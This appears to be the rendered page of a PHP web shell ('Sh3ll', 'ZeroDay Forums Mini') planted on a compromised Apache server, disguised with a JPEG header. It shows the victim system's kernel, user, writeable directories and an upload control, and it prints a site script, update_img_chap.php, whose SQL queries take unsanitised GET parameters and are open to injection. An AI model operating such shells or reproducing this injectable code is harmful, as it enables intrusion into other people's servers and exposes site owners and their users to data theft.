ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lnovel/update_img_chap.php
<?php
ini_set("display_errors", true);
set_time_limit(0);
define('ROOT_PATH', dirname(__FILE__) . '/');
require ROOT_PATH."include/configs.php";
require ROOT_PATH."include/const.php";
require ROOT_PATH."lib/class_info.php";
global $INFO;
$CORE		=	new info();
require ROOT_PATH."lib/class_functions.php";
$func   = new FUNC;
$CORE->input = $func->get_input();
require ROOT_PATH."lib/class_display.php";
$print = new display();
require ROOT_PATH."lib/class_db.php";
$DB = new db_driver;
$DB->connect($INFO);
$from = $_GET['from'];
$to = $_GET['to'];
//update chuong
$q_chuong = $DB->query("SELECT * FROM tb_chuong WHERE chuong_id>=$from AND chuong_id<$to ORDER BY chuong_id ASC ");
while($r_chuong = $DB->fetch_row($q_chuong)) {
    $chuong_id = $r_chuong['chuong_id'];
    $q_img = $DB->query("SELECT url_dir,file_name FROM tb_chuong_img WHERE chuong_id='" . $chuong_id . "' ORDER BY chuong_img_pos ASC");
    $arr_url_img = array();
    while ($r_img = $DB->fetch_row($q_img)) {
        $arr_url_img[] = $r_img['url_dir'] . '/' . $r_img['file_name'];
    }
    if (isset($arr_url_img) and !empty($arr_url_img)) {
        $txt_url_img = json_encode($arr_url_img);
        $arr_insert_chuongimg = array('chuong_id' => $chuong_id, 'chuong_img_show' => $txt_url_img);
        $row_check_chuongimg = $DB->fetch_row($DB->query("SELECT * FROM tb_chuong_imgshow WHERE chuong_id='$chuong_id' "));
        if (!$row_check_chuongimg) {
            $DB->do_insert('tb_chuong_imgshow', $arr_insert_chuongimg);
            $text_show = $r_chuong['chuong_name'].' : '.$r_chuong['chuong_id'].' images already insert !<br/>';
        } else {
            $DB->do_update('tb_chuong_imgshow', $arr_insert_chuongimg, " WHERE chuong_id='$chuong_id' ");
            $text_show = $r_chuong['chuong_name'].' : '.$r_chuong['chuong_id'].' images already update !<br/>';
        }
    }
    ob_start();
    echo $text_show;
    doFlush();
}
function doFlush()
{
    if (!headers_sent()) {
        // Disable gzip in PHP.
        ini_set('zlib.output_compression', 0);
        // Force disable compression in a header.
        // Required for flush in some cases (Apache + mod_proxy, nginx, php-fpm).
        header('Content-Encoding: none');
    }
    // Fill-up 4 kB buffer (should be enough in most cases).
    echo str_pad('', 4 * 1024);
    // Flush all buffers.
    do {
        $flushed = @ob_end_flush();
    } while ($flushed);

    @ob_flush();
    flush();
    //use it:
    /*ob_start();
    $i = 0;
    while ($i++ < 10) {
        usleep(500000);
        echo 'a'.$i . "\n<br>";
        //sleep(1);
        doFlush();
    }*/
}
?>

ZeroDay Forums Mini